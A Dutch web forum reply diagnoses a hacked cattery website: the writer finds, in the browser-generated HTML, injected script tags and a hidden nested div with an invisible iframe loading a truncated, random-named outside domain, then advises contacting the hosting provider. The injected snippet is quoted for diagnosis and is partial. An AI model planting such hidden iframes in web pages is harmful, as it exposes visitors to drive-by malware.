Blijft allemaal wat merkwaardig:
- Ik zie dat het Bravenet-gastenboek er nu uit is.
- Bij IE7 op WinXP krijg ik niets.
- Bij IE8 op WindowsServer2008: geen virusmelding, maar de boodschap dat voor deze pagina Java wordt gebruikt (geen javascript, maar java, staat er):
Dit gebeurt meteen al op de homepage, en vervolgens ook op alle andere pagina's.
Maar ik kan helemaal niet traceren dat er in de pagina iets van Java staat. :shocked: Er wordt geen applet opgeroepen, enz.
Het enige dat ik nog kan ontdekken is:
Ik heb er geen scripts op staan, alleen een gastenboek van Bravenet.
Dat klopt niet; op elke pagina wordt een script voor "Flash Player Version Detection" aangeroepen:
www.cattery-baschach.nl/Scripts/AC_RunActiveContent.js. Maar dat lijkt me wel betrouwbaar, eigenlijk.
=====
HO, STOP!!!
Aha-aha-aha, er zijn nog meer scripts aan het lopen :shocked:, verklapt de Javascript-viewer van de
Webdeveloper Toolbar van Firefox (wat is dat ding toch onmisbaar!):
Whoeps! Waar komt dat vandaan? Niet uit je broncode, die is schoon.
Even kijken, weer met de Developer Toolbar, naar de "gegenereerde code" (dat is de html-code zoals die er uitziet nadat aanwezige javascripts zijn toegepast).
Het blijkt te kloppen!
In de <head> staan er nu opeens twee links naar scripts voor twitter:
HTML:
<script src="http://api.twitter.com/1/trends/daily.json?callback=window.g_cd ...enz.>
<script src="http://api.twitter.com/1/trends/daily.json?date=2011-07-12&callback= ... enz.>
En vlak voor het eind van de </body> zijn opeens 3 extra <div>'s toegevoegd: een losse, een verborgen div daarbinnen, en daar weer een <iframe> in.
HTML:
<div>
<div id="d3" style="display: none; visibility: hidden;">
<div style="visibility: hidden;">
<iframe src="http://miasclnm...(enz).com/index.php?tp=001e... enz." width="100" height="80"></iframe>
</div>
</div>
</div>
Die
miasclnm...(enz).com heeft dan weer alle bovenstaande scripts op z'n geweten. Wat die scripts doen en in hoeverre ze kwaadaardig zijn, weet ik niet (onvoldoende deskundig).
Maar
miasclnm...(enz).com is een grappenmaker... ga je daar rechtstreeks naar toe (moest ik even proberen), dan wordt je geredirect naar Google, waardoor het lijkt alsof die site niet bestaat!
Verder lijkt onze
miasclnm...(enz).com wel treffend veel op de eerder door de virusmelding aangetroffen namen: ofgnrhiooxk, dbcuqdpdfds en mhjldbgmfds; ook al weer zo'n rare lettercombinatie.
Vermoedelijk wisselen ze om de haverklap van naam, en halen dan zo'n site weer uit de lucht; terwijl intussen het kwaad al geschied kan zijn...
Zo kom ik tot de conclusie: die virusmeldingen zijn toch niet zo gek.
Het ziet ernaar uit dat de site is geïnjecteerd met gespuis:
gehackt!
Maar daar zal je zelf niets aan kunnen doen, dat ligt bij de
provider, Progressix als ik me niet vergis.
Heb je die als eens een belletje gegeven of een mailtje gestuurd, met je bevindingen van de laatste tijd, enz. en de vraag of ze de server willen opschonen en een backup willen terugzetten?
Met vriendelijke groet,
CSShunter
___________
PS: Als je een pagina "hallo-world.htm", met verder niks er in, op de server daar zet, gaan er dan ook alarmbellen af? Dat zou m'n vermoeden ernstig bevestigen!
